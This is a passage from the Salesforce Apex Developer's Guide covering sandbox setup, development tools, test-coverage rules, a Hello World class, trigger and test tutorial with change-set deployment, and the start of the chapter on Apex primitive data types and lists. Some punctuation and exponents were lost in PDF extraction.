use to develop Apex. Youll also learn about testing and deploying Apex code.

Apex Development Process

What is the Apex Development Process?

We recommend the following process for developing Apex:
1. Obtain a Developer Edition account.
2. Learn more about Apex.
3. Write your Apex.
4. While writing Apex, you should also be writing tests.
5. Optionally deploy your Apex to a sandbox organization and do final unit tests.
6. Deploy your Apex to your Salesforce production organization.
In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a Force.com AppExchange
App package.

Create a Developer or Sandbox Org

You can run Apex in a:
developer orgAn org created with a Developer Edition account
production orgAn org that has live users accessing your data
sandbox orgAn org created on your production org that is a copy of your production org
Note: Apex triggers are available in the Trial Edition of Salesforce. However, they are disabled when you convert to any other
edition. If your newly signed-up org includes Apex, deploy your code to your org using one of the deployment methods.
You can't develop Apex in your Salesforce production org. Live users accessing the system while you're developing can destabilize your
data or corrupt your application. Instead, do all your development work in either a sandbox or a Developer Edition org.
If you aren't already a member of the developer community, go to http://developer.salesforce.com/signup and
follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer
Edition org. Even if you already have a Professional, Enterprise, Unlimited, or Performance Edition org and a sandbox for creating Apex,
we strongly recommend that you take advantage of the resources available in the developer community.
Note: You cant modify Apex using the Salesforce user interface in a Salesforce production org.

Creating a Sandbox Org

To create a sandbox org:
1. From Setup, enter Sandboxes in the Quick Find box, then select Sandboxes.
2. Click New Sandbox.
3. Enter a name (10 characters or fewer) and description for the sandbox.
Tip: We recommend that you choose a name that:
Reflects the purpose of this sandbox, such as QA.
Has only a few characters, because Salesforce appends the sandbox name to usernames on user records in the sandbox
environment. Names with fewer characters make sandbox logins easier to type.
4. Select the type of sandbox you want.

Apex Development Process

Learning Apex

Note: If you dont see a sandbox option or need licenses for more, contact Salesforce to order sandboxes for your org.
If you reduce the number of sandboxes you purchase, you are required to match the number of your sandboxes to the number
you purchased. For example, if you have two Full sandboxes but purchased only one, you cant create a Full sandbox. Instead,
convert a Full sandbox to a smaller one, such as a Developer Pro or Developer sandbox, depending on which types you have
available.
5. Select the data to include in your Partial Copy or Full sandbox.
For a Partial Copy sandbox, click Next, and then select the template you created to specify the data for your sandbox. If you have
not created a template for this Partial Copy sandbox, see Create or Edit Sandbox Templates.
For a Full sandbox click Next, and then decide how much data to include.
To include template-based data for a Full sandbox, select an existing sandbox template. For more information, see Create
or Edit Sandbox Templates
To include all data in a Full sandbox, choose whether and how much field tracking history data to include, and whether to
copy Chatter data. You can copy from 0 to 180 days of history, in 30-day increments. The default value is 0 days. Chatter data
includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly speed sandbox
copy time.
6. To run scripts after each create and refresh for this sandbox, specify the Apex class you previously created from the SandboxPostCopy
interface.
7. Click Create.
Tip: Try to limit changes in your production org while the sandbox copy proceeds.

Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex:
Force.com Workbook: Get Started Building Your First App in the Cloud
Beginning programmers
A set of ten 30-minute tutorials that introduce various Force.com platform features. The Force.com Workbook tutorials are centered
around building a very simple warehouse management system. You'll start developing the application from the bottom up; that is,
you'll first build a database model for keeping track of merchandise. You'll continue by adding business logic: validation rules to
ensure that there is enough stock, workflow to update inventory when something is sold, approvals to send email notifications for
large invoice values, and trigger logic to update the prices in open invoices. Once the database and business logic are complete,
you'll create a user interface to display a product inventory to staff, a public website to display a product catalog, and then the start
of a simple store front. If you'd like to develop offline and integrate with the app, we've added a final tutorial to use Adobe Flash
Builder for Force.com.
Force.com Workbook: HTML | PDF
Apex Workbook
Beginning programmers
The Apex Workbook introduces you to the Apex programming language through a set of tutorials. Youll learn the fundamentals of
Apex and how you can use it on the Force.com platform to add custom business logic through triggers, unit tests, scheduled Apex,
batch Apex, REST Web services, and Visualforce controllers.
Apex Workbook: HTML | PDF

Apex Development Process

Writing Apex Using Development Environments

Salesforce Developers Apex Page

Beginning and advanced programmers
The Apex page on Salesforce Developers has links to several resources including articles about the Apex programming language.
These resources provide a quick introduction to Apex and include best practices for Apex development.
Force.com Cookbook
Beginning and advanced programmers
This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating Visualforce pages.
The Force.com Cookbook helps developers become familiar with common Force.com programming techniques and best practices.
You can read and comment on existing recipes, or submit your own recipes, at http://developer.force.com/cookbook.
Development Life Cycle: Enterprise Development on the Force.com Platform
Architects and advanced programmers
Whether you are an architect, administrator, developer, or manager, the Development Lifecycle Guide prepares you to undertake the
development and release of complex applications on the Force.com platform.
Training Courses
Training classes are also available from Salesforce Training & Certification. You can find a complete list of courses at the Training &
Certification site.
In This Book (Apex Developer's Guide)
Beginning programmers should look at the following:
Introducing Apex, and in particular:
Documentation Conventions
Core Concepts
Quick Start Tutorial
Classes, Objects, and Interfaces
Testing Apex
Execution Governors and Limits
In addition to the above, advanced programmers should look at:
Trigger and Bulk Request Best Practices
Advanced Apex Programming Example
Understanding Apex Describe Information
Asynchronous Execution (@future Annotation)
Batch Apex and Apex Scheduler

Writing Apex Using Development Environments

There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com IDE allow
you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and doesnt support
debugging. These different tools are described in the next sections.

Apex Development Process

Writing Apex Using Development Environments

Force.com Developer Console

The Developer Console is an integrated development environment with a collection of tools you can use to create, debug, and test
applications in your Salesforce organization.
The Developer Console supports these tasks:
Writing codeYou can add code using the source code editor. Also, you can browse packages in your organization.
Compiling codeWhen you save a trigger or class, the code is automatically compiled. Any compilation errors will be reported.
DebuggingYou can view debug logs and set checkpoints that aid in debugging.
TestingYou can execute tests of specific test classes or all tests in your organization, and you can view test results. Also, you can
inspect code coverage.
Checking performanceYou can inspect debug logs to locate performance bottlenecks.
SOQL queriesYou can query data in your organization and view the results using the Query Editor.
Color coding and autocompleteThe source code editor uses a color scheme for easier readability of code elements and provides
autocompletion for class and method names.

Force.com IDE
The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com
applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development,
including source code editors, test execution tools, wizards and integrated help. This tool includes basic color-coding, outline view,
integrated unit testing, and auto-compilation on save with error message display. See the website for information about installation and
usage.
Note: The Force.com IDE is a free resource provided by Salesforce to support its users and partners but isn't considered part of
our services for purposes of the Salesforce Master Subscription Agreement.
Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the SOAP API includes methods for compiling
triggers and classes, and executing test methods, while the Metadata API includes methods for deploying code to production
environments. For more information, see Deploying Apex on page 579 and SOAP API and SOAP Headers for Apex on page 2558.

Code Editor in the Salesforce User Interface

The Salesforce user interface. All classes and triggers are compiled when they are saved, and any syntax errors are flagged. You cannot
save your code until it compiles without errors. The Salesforce user interface also numbers the lines in the code, and uses color coding
to distinguish different elements, such as comments, keywords, literal strings, and so on.
For a trigger on an object, from the objects management settings, go to Triggers, click New, and then enter your code in the Body
text box.
For a class, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes. Click New, and then enter
your code in the Body text box.
Note: You cant modify Apex using the Salesforce user interface in a Salesforce production org.
Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your application,
or use one of the API calls to deploy it.
SEE ALSO:
Salesforce Help: Find Object Management Settings

Apex Development Process

Writing Tests

Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend
that you use a test-driven development process, that is, test development that occurs at the same time as code development.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition.
Also, test methods must be defined in test classes, that is, classes annotated with isTest.
In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true.
At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered.
Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well
as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
Every trigger must have some test coverage.
All classes and triggers must compile successfully.
For more information on writing tests, see Testing Apex on page 548.

Deploying Apex to a Sandbox Organization

Sandboxes create copies of your Salesforce org in separate environments. Use them for development, testing, and training, without
compromising the data and applications in your production org. Sandboxes are isolated from your production org, so operations that
you perform in your sandboxes dont affect your production org, and conversely.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization.
A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of
classes, or a namespace.
Salesforce includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can implement
your own deployment code.
Note: The Force.com IDE and the Force.com Migration Tool are free resources provided by Salesforce to support its users and
partners, but aren't considered part of our services for purposes of the Salesforce Master Subscription Agreement.
For more information, see Using the Force.com Migration Tool and Deploying Apex.

Deploying Apex to a Salesforce Production Organization

After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to
your Salesforce production organization.

Apex Development Process

Adding Apex Code to a Force.com AppExchange App

To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
Also, you can deploy Apex through change sets in the Salesforce user interface.
For more information and for additional deployment options, see Deploying Apex on page 579.

Adding Apex Code to a Force.com AppExchange App

You can also include an Apex class or trigger in an app that you are creating for AppExchange.
Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have some test
coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, tests
with the@isTest(OnInstall=true) annotation run when the package is installed in the installer's organization. You can specify
which tests should run during package install by annotating them with @isTest(OnInstall=true). This subset of tests must
pass for the package install to succeed.
In addition, Salesforce recommends that any AppExchange package that contains Apex be a managed package.
For more information, see the Force.com Quick Reference for Developing Packages. For more information about Apex in managed packages,
see What is a Package? in the Salesforce online help.
Note: Packaging Apex classes that contain references to custom labels which have translations: To include the translations in the
package, enable the Translation Workbench and explicitly package the individual languages used in the translated custom labels.
See Custom Labels in the Salesforce online help.

CHAPTER 3

Apex Quick Start

Once you have a Developer Edition or sandbox organization, you may want to learn some of the core concepts of Apex. Because Apex
is very similar to Java, you may recognize much of the functionality.
After reviewing the basics, you are ready to write your first Apex programa very simple class, trigger, and unit test.
In addition, there is a more complex Shipping Invoice example that you can also walk through. This example illustrates many more
features of the language.
Note: The Hello World sample requires custom objects. You can either create these on your own, or download the objects and
Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the Apex
Tutorials Package. This package also contains sample code and objects for the Shipping Invoice example.

Writing Your First Apex Class and Trigger

This step-by-step tutorial shows how to create a simple Apex class and trigger. It also shows how to deploy these components to a
production organization.
This tutorial is based on a custom object called Book that is created in the first step. This custom object is updated through a trigger.
IN THIS SECTION:
1. Create a Custom Object
2. Adding an Apex Class
3. Add an Apex Trigger
4. Add a Test Class
5. Deploying Components to Production

Create a Custom Object

Prerequisites:
A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
For more information about creating a sandbox org, see Sandboxes in the Salesforce Help. To sign up for a free Developer org, see the
Developer Edition Environment Sign Up Page.
In this step, you create a custom object called Book with one custom field called Price.
1. Log in to your sandbox or Developer org.
2. From your management settings for custom objects, if youre using Salesforce Classic, click New Custom Object, or if youre using
Lightning Experience, select Create > Custom Object.
3. Enter Book for the label.

Apex Quick Start

Adding an Apex Class

4. Enter Books for the plural label.

5. Click Save.
Ta dah! Youve now created your first custom object. Now lets create a custom field.
6. In the Custom Fields & Relationships section of the Book detail page, click New.
7. Select Number for the data type and click Next.
8. Enter Price for the field label.
9. Enter 16 in the length text box.
10. Enter 2 in the decimal places text box, and click Next.
11. Click Next to accept the default values for field-level security.
12. Click Save.
Youve just created a custom object called Book, and added a custom field to that custom object. Custom objects already have some
standard fields, like Name and CreatedBy, and allow you to add other fields that are more specific to your implementation. For this
tutorial, the Price field is part of our Book object and it is accessed by the Apex class you will write in the next step.
SEE ALSO:
Salesforce Help: Find Object Management Settings

Adding an Apex Class

Prerequisites:
A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
The Book custom object.
In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you will
be adding in the next step.
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, enter this class definition:
public class MyHelloWorld {
}

The previous code is the class definition to which you will be adding one method in the next step. Apex code is generally contained
in classes. This class is defined as public, which means the class is available to other Apex classes and triggers. For more information,
see Classes, Objects, and Interfaces on page 55.
3. Add this method definition between the class opening and closing brackets.
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}

This method is called applyDiscount, and it is both public and static. Because it is a static method, you don't need to create
an instance of the class to access the methodyou can just use the name of the class followed by a dot (.) and the name of the
method. For more information, see Static and Instance Methods, Variables, and Initialization Code on page 62.

Apex Quick Start

Add an Apex Trigger

This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the object
name Book__c. This indicates that it is a custom object that you created. Standard objects that are provided in the Salesforce
application, such as Account, don't end with this postfix.
The next section of code contains the rest of the method definition:
for (Book__c b :books){
b.Price__c *= 0.9;
}

Notice the __c after the field name Price__c. This indicates it is a custom field that you created. Standard fields that are provided
by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name doesn't end
with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c, multiplies it
by 0.9, which means its value will be discounted by 10%, and then stores the new value into the b.Price__c field. The *=
operator is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See Understanding
Expression Operators on page 40.
4. Click Save to save the new class. You should now have this full class definition.
public class MyHelloWorld {
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
}

You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This code is
part of the applyDiscount static method called by the trigger that you will create in the next step.

Add an Apex Trigger

Prerequisites:
A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
The MyHelloWorld Apex class.
In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Force.com
platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All
triggers run in bulk; that is, they process several records at once.
1. From the object management settings for books, go to Triggers, and then click New.
2. In the trigger editor, delete the default template code and enter this trigger definition:
trigger HelloWorldTrigger on Book__c (before insert) {
Book__c[] books = Trigger.new;
MyHelloWorld.applyDiscount(books);
}

Apex Quick Start

Add a Test Class

The first line of code defines the trigger:

trigger HelloWorldTrigger on Book__c (before insert) {

It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this
trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into the database.
The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context variable
called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and provide access
to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that are about to be inserted.
Book__c[] books = Trigger.new;

The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new books.
MyHelloWorld.applyDiscount(books);

You now have all the code that is needed to update the price of all books that get inserted. However, there is still one piece of the puzzle
missing. Unit tests are an important part of writing code and are required. In the next step, you will see why this is so and you will be
able to add a test class.
SEE ALSO:
Salesforce Help: Find Object Management Settings

Add a Test Class

Prerequisites:
A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
The HelloWorldTrigger Apex trigger.
In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises and
validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
Note: Testing is an important part of the development process. Before you can deploy Apex or package it for the Force.com
AppExchange, the following must be true.
At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
Every trigger must have some test coverage.
All classes and triggers must compile successfully.
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes and click New.

Apex Quick Start

Add a Test Class

2. In the class editor, add this test class definition, and then click Save.
@isTest
private class HelloWorldTestClass {
static testMethod void validateHelloWorld() {
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
}
}

This class is defined using the @isTest annotation. Classes defined as such can only contain test methods. One advantage to
creating a separate class for testing is that classes defined with isTest dont count against your orgs limit of 3 MB of Apex code.
You can also add the @isTest annotation to individual methods. For more information, see IsTest Annotation on page 89
and Execution Governors and Limits.
The method validateHelloWorld is defined as a testMethod. This annotation means that if changes are made to the
database, they are rolled back when execution completes. You dont have to delete any test data created in the test method.
First, the test method creates a book and inserts it into the database temporarily. The System.debug statement writes the value
of the price in the debug log.
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;

After the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it
was inserted. The System.debug statement then logs the new price that the trigger modified.
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);

When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following test verifies
that the method applyDiscount ran and produced the expected result.
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);

3. To run this test and view code coverage information, switch to the Developer Console.
4. In the Developer Console, click Test > New Run.
5. To select your test class, click HelloWorldTestClass.
6. To add all methods in the HelloWorldTestClass class to the test run, click Add Selected.
7. Click Run.

Apex Quick Start

Deploying Components to Production

The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run.
In this case, the class contains only one test method.
8. The Overall Code Coverage pane shows the code coverage of this test class. To view the percentage of lines of code in the trigger
covered by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Because the trigger calls a method
from the MyHelloWorld class, this class also has coverage (100%). To view the class coverage, double-click MyHelloWorld.
9. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including
logging information about the trigger event, the call to the applyDiscount method, and the price before and after the trigger.
By now, you have completed all the steps necessary for writing some Apex code with a test that runs in your development environment.
In the real world, after youve tested your code and are satisfied with it, you want to deploy the code and any prerequisite components
to a production org. The next step shows you how to do this deployment for the code and custom object youve created.
SEE ALSO:
Salesforce Help: Open the Developer Console

Deploying Components to Production

Prerequisites:
A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization.
The HelloWorldTestClass Apex test class.
A deployment connection between the sandbox and production organizations that allows inbound change sets to be received by
the production organization. See Change Sets in the Salesforce online help.
Create and Upload Change Sets user permission to create, edit, or upload outbound change sets.
In this step, you deploy the Apex code and the custom object you created previously to your production organization using change
sets.
This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited, Enterprise,
or Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment methods. For more
information, see Deploying Apex.
1. From Setup, enter Outbound Changesets in the Quick Find box, then select Outbound Changesets.
2. If a splash page appears, click Continue.
3. In the Change Sets list, click New.
4. Enter a name for your change set, for example, HelloWorldChangeSet, and optionally a description. Click Save.
5. In the Change Set Components section, click Add.
6. Select Apex Class from the component type drop-down list, then select the MyHelloWorld and the HelloWorldTestClass classes from
the list and click Add to Change Set.
7. Click View/Add Dependencies to add the dependent components.
8. Select the top checkbox to select all components. Click Add To Change Set.
9. In the Change Set Detail section of the change set page, click Upload.
10. Select the target organization, in this case production, and click Upload.
11. After the change set upload completes, deploy it in your production organization.
a. Log into your production organization.
b. From Setup, enter Inbound Change Sets in the Quick Find box, then select Inbound Change Sets.

Apex Quick Start

Deploying Components to Production

c. If a splash page appears, click Continue.

d. In the change sets awaiting deployment list, click your change set's name.
e. Click Deploy.
In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned
how to test your code, and how to upload the code and the custom object using Change Sets.

WRITING APEX

CHAPTER 4
In this chapter ...

Data Types

Primitive Data Types

Collections

Enums

Variables

Constants

Expressions and
Operators

Assignment
Statements

Understanding Rules
of Conversion

Data Types and Variables

In this chapter youll learn about data types and variables in Apex. Youll also learn about related language
constructsenums, constants, expressions, operators, and assignment statements.

Data Types and Variables

Data Types

Data Types
In Apex, all variables and expressions have a data type that is one of the following:
A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 27)
An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see sObject
Types on page 112 in Chapter 4.)
A collection, including:
A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page
30)
A set of primitives (see Sets on page 33)
A map from a primitive to a primitive, sObject, or collection (see Maps on page 33)
A typed list of values, also known as an enum (see Enums on page 35)
Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 55)
Objects created from system supplied Apex classes
Null (for the null constant, which can be assigned to any variable)
Methods can return values of any of the listed types, or return no value and be of type Void.
Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned
a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of
the error. For more information, see Debugging Apex on page 514.

Primitive Data Types

Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value.
All Apex variables, whether theyre class member variables or method variables, are initialized to null. Make sure that you initialize
your variables to appropriate values before using them. For example, initialize a Boolean variable to false.
Apex primitive data types include:
Data Type

Description

Blob

A collection of binary data stored as a single object. You can convert this data type to String or from
String using the toString and valueOf methods, respectively. Blobs can be accepted as Web
service arguments, stored in a document (the body of a document is a Blob), or sent as attachments.
For more information, see Crypto Class.

Boolean

A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;

Date

A value that indicates a particular day. Unlike Datetime values, Date values contain no information
about time. Date values must always be created with a system static method.
You can add or subtract an Integer value from a Date value, returning a Date value. Addition and
subtraction of Integer values are the only arithmetic functions that work with Date values. You cant
perform arithmetic functions that include two or more Date values. Instead, use the Date methods.

Data Types and Variables

Primitive Data Types

Data Type

Description

Datetime

A value that indicates a particular day and time, such as a timestamp. Datetime values must always
be created with a system static method.
You can add or subtract an Integer or Double value from a Datetime value, returning a Date value.
Addition and subtraction of Integer and Double values are the only arithmetic functions that work
with Datetime values. You cant perform arithmetic functions that include two or more Datetime
values. Instead, use the Datetime methods.

Decimal

A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields
are automatically assigned the type Decimal.
If you do not explicitly set the number of decimal places for a Decimal, the item from which the
Decimal is created determines the Decimals scale. Scale is a count of decimal places. Use the
setScale method to set a Decimals scale.
If the Decimal is created as part of a query, the scale is based on the scale of the field returned
from the query.
If the Decimal is created from a String, the scale is the number of characters after the decimal
point of the String.
If the Decimal is created from a non-decimal number, the number is first converted to a String.
Scale is then set using the number of characters after the decimal point.

Double

A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum
value of 263-1. For example:
Double d=3.14159;

Scientific notation (e) for Doubles is not supported.

Any valid 18-character Force.com record identifier. For example:

ID id='00300000003T2PGAA0';

If you set ID to a 15-character value, Apex converts the value to its 18-character representation. All
invalid ID values are rejected with a runtime exception.
Integer

A 32-bit number that does not include a decimal point. Integers have a minimum value of
-2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;

Long

A 64-bit number that does not include a decimal point. Longs have a minimum value of -263 and a
maximum value of 263-1. Use this data type when you need a range of values wider than the range
provided by Integer. For example:
Long l = 2147483648L;

Object

Any data type that is supported in Apex. Apex supports primitive data types (such as Integer),
user-defined custom classes, the sObject generic type, or an sObject specific type (such as Account).
All Apex data types inherit from Object.

Data Types and Variables

Data Type

Primitive Data Types

Description
You can cast an object that represents a more specific data type to its underlying data type. For
example:
Object obj = 10;
// Cast the object to an integer.
Integer i = (Integer)obj;
System.assertEquals(10, i);

The next example shows how to cast an object to a user-defined typea custom Apex class named
MyApexClass that is predefined in your organization.
Object obj = new MyApexClass();
// Cast the object to the MyApexClass custom type.
MyApexClass mc = (MyApexClass)obj;
// Access a method on the user-defined class.
mc.someClassMethod();

String

Any set of characters surrounded by single quotes. For example,

String s = 'The quick brown fox jumped over the lazy dog.';

String size: Strings have no limit on the number of characters they can include. Instead, the heap
size limit is used to ensure that your Apex programs don't grow too large.
Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in
the SOAP API: they can never be empty (only null), and they can never include leading and trailing
whitespace. These conventions are necessary for database storage.
Conversely, Strings in Apex can be null or empty and can include leading and trailing whitespace,
which can be used to construct a message.
The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions
enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid
HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is
created or updated. In the following example, when the Solution displays on a detail page, the
SolutionNote field has H1 HTML formatting applied to it:
trigger t on Solution (before insert) {
Trigger.new[0].SolutionNote ='<h1>hello</h1>';
}

In the following example, when the Solution displays on a detail page, the SolutionNote field only
contains HelloGoodbye:
trigger t2 on Solution (before insert) {
Trigger.new[0].SolutionNote =
'<javascript>Hello</javascript>Goodbye';
}

For more information, see HTML Solutions Overview in the Salesforce online help.
Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: \b
(backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote),
\' (single quote), and \\ (backslash).

Data Types and Variables

Collections

Data Type

Description
Comparison Operators: Unlike Java, Apex Strings support using the comparison operators ==,
!=, <, <=, >, and >=. Because Apex uses SOQL comparison semantics, results for Strings are collated
according to the context users locale and are not case-sensitive. For more information, see Operators
on page 40.
String Methods: As in Java, Strings can be manipulated with several standard methods. For more
information, see String Class.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime
error if you assign a String value that is too long for the field.

Time

A value that indicates a particular time. Time values must always be created with a system static
method. See Time Class.

In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static methods:
AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within
the Force.com platform database exclusively for sObject fields in field history tracking tables.
Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within
SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any other type of Apex.
For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce and Force.com.
SEE ALSO:
Understanding Expression Operators

Collections
Apex has the following types of collections:
Lists
Maps
Sets
Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.

Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data typeprimitive types,
collections, sObjects, user-defined types, and built-in Apex types. For example, the following table is a visual representation of a list of
Strings:
Index 0

Index 1

Index 2

Index 3

Index 4

Index 5

'Red'

'Orange'

'Yellow'

'Green'

'Blue'

'Purple'

The index position of the first element in a list is always 0.

Data Types and Variables

Lists

Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can have a list
of lists of sets of Integers. A list can contain up to four levels of nested collections inside it, that is, a total of five levels overall.
To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For
example:
// Create an empty list of String
List<String> my_list = new List<String>();
// Create a nested list
List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>();

To access elements in a list, use the List methods provided by Apex. For example:
List<Integer> myList = new List<Integer>(); // Define a new list
myList.add(47);
// Adds a second element of value 47 to the end
// of the list
Integer i = myList.get(0);
// Retrieves the element at index 0
myList.set(0, 1);
// Adds the integer 1 to the list at index 0
myList.clear();
// Removes all elements from the list

For more information, including a complete list of all supported methods, see List Class on page 2182.

Using Array Notation for One-Dimensional Lists

When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and reference list
elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type name with the []
characters:
String[] colors = new List<String>();

These two statements are equivalent to the previous:

List<String> colors = new String[1];
String[] colors = new String[1];

To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square
brackets. For example:
colors[0] = 'Green';

Even though the size of the previous String array is defined as one element (the number between the brackets in new String[1]),
lists are elastic and can grow as needed provided that you use the List add method to add new elements. For example, you can
add two or more elements to the colors list. But if youre using square brackets to add an element to a list, the list behaves like an
array and isnt elastic, that is, you wont be allowed to add more elements than the declared array size.
All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example:
Example
List<Integer> ints = new Integer[0];

List<Integer> ints = new Integer[6];

Description
Defines an Integer list of size zero with no elements
Defines an Integer list with memory allocated for six Integers

Data Types and Variables

Lists

List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such
